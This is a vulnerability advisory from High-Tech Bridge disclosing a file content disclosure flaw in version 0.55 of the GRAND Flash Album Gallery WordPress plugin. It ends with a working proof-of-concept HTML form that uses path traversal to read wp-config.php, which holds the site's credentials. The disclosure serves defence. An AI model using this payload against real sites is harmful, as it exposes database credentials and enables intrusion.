HTB22871: File Content Disclosure in GRAND Flash Album Gallery wordpress plugin

[advisory () htbridge ch]

Vulnerability ID: HTB22871
Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_grand_flash_album_gallery_wordpress_plugin.html
Product: GRAND Flash Album Gallery wordpress plugin
Vendor: Sergey Pasyuk  ( http://codeasily.com/ ) 
Vulnerable Version: 0.55
Vendor Notification: 22 February 2011 
Vulnerability Type: File Content Disclosure
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/flash-album-gallery/admin/news.php" script to 
properly sanitize user-supplied input in "want2Read" variable.
Successful exploitation of this vulnerability allows remote attacker to obtain content of arbitrary file accessible 
within the context of vulnerable application.

The following PoC is available:


<form action="http://[host]/wp-content/plugins/flash-album-gallery/admin/news.php"; method="post" name="main" >
<input type="hidden" name="want2Read" value="../../../../wp-config.php" />
<input type="submit" value="submit" name="submit" />
</form>